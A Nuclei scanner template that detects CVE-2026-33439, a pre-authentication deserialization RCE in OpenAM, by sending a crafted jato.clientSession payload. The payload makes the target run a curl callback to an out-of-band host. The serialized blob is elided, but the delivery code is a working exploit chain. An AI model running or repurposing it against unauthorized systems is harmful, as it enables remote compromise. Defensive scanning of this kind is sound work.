id: CVE-2026-33439

info:
  name: OpenAM <= 16.0.5 - Pre-Auth RCE via jato.clientSession Deserialization
  author: DhiyaneshDk
  severity: critical
  description: |
    Open Access Management (OpenAM) is an access management solution. Prior to 16.0.6, OpenIdentityPlatform OpenAM is vulnerable to pre-authentication Remote Code Execution (RCE) via unsafe Java deserialization of the jato.clientSession HTTP parameter. This bypasses the WhitelistObjectInputStream mitigation that was applied to the jato.pageSession parameter after CVE-2021-35464.  This vulnerability is fixed in 16.0.6.
  impact: |
    An unauthenticated attacker can achieve arbitrary command execution on the server by sending a crafted serialized Java object as the jato.clientSession GET/POST parameter to any JATO ViewBean endpoint whose JSP contains <jato:form> tags (e.g., the Password Reset pages).
  remediation: Upgrade to OpenAM 16.0.6 or later.
  reference:
    - https://www.hacktron.ai/blog/openam-deserialization-pre-auth-rce
    - https://github.com/OpenIdentityPlatform/OpenAM/security/advisories/GHSA-2cqq-rpvq-g5qj
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-33439
    epss-score: 0.1049
    epss-percentile: 0.95296
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: openidentityplatform
    product: openam
    shodan-query: http.title:"OpenAM"
    fofa-query: title="OpenAM"
  tags: cve,cve2026,openam,deserialization,rce,jato,oast,oob

flow: http(1) && javascript(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/openam/ui/PWResetUserValidation"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "OpenAM","tfUserAttr")'
        condition: and
        internal: true

javascript:
  - code: |
      var net = require('nuclei/net');
      var P = "[encoded data, 6656 characters]";

      var CMD_OFF = 5114;   // "curl http://REPLACEME_OAST_PLACEHOLDER_URL" string start
      var LEN_OFF = 5110;   // CONSTANT_Utf8 length field (2 bytes, big-endian)
      var ARR_OFF = 4660;   // byte[] array length for the embedded class file (4 bytes, big-endian)
      var OLD_LEN = 42;     // Original placeholder string length in bytes
      var OLD_ARR = 968;    // Original class file size in bytes

      var cmd = "curl http://" + interactsh;
      var delta = cmd.length - OLD_LEN;

      function h(s) {
        var o = "";
        for (var i = 0; i < s.length; i++) {
          var c = s.charCodeAt(i).toString(16);
          o += c.length < 2 ? "0" + c : c;
        }
        return o;
      }

      var newHex = h(cmd);
      var oldHexLen = OLD_LEN * 2;
      var px = P.substring(0, CMD_OFF) + newHex + P.substring(CMD_OFF + oldHexLen);

      var ul = cmd.length.toString(16);
      while (ul.length < 4) ul = "0" + ul;
      px = px.substring(0, LEN_OFF) + ul + px.substring(LEN_OFF + 4);

      var al = (OLD_ARR + delta).toString(16);
      while (al.length < 8) al = "0" + al;
      px = px.substring(0, ARR_OFF) + al + px.substring(ARR_OFF + 8);

      var ba = [];
      for (var i = 0; i < px.length; i += 2) {
        ba.push(parseInt(px.substring(i, i + 2), 16));
      }
      var T = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
      var b = "";
      for (var i = 0; i < ba.length; i += 3) {
        var a0 = ba[i], a1 = i+1<ba.length?ba[i+1]:0, a2 = i+2<ba.length?ba[i+2]:0;
        b += T[(a0>>2)&63];
        b += T[((a0<<4)|(a1>>4))&63];
        b += i+1<ba.length ? T[((a1<<2)|(a2>>6))&63] : "=";
        b += i+2<ba.length ? T[a2&63] : "=";
      }
      var payload = b.split("+").join("-").split("/").join("_").split("=").join("");

      var ct = (tport === "443") ? "tls" : "tcp";
      var conn = net.Open(ct, thost + ":" + tport);
      var req = "GET /openam/ui/PWResetUserValidation?jato.clientSession=" + payload +
                " HTTP/1.1\r\nHost: " + thost + ":" + tport +
                "\r\nConnection: close\r\n\r\n";
      conn.SendHex(h(req));
      var resp = conn.RecvString(4096);
      conn.Close();
      Export(resp);

    args:
      thost: "{{Host}}"
      tport: "{{Port}}"
      interactsh: "{{interactsh-url}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
# digest: 4a0a0047304502203c234b353473540bb9d141ce388943f6d4eb5c0a0c2d7e3ed302f797c4025c0c022100b608f71ac170120df2261db7925024c9462fb08a39e00569a5f8b654f165da99:922c64590222798bb761d5b6d8e72950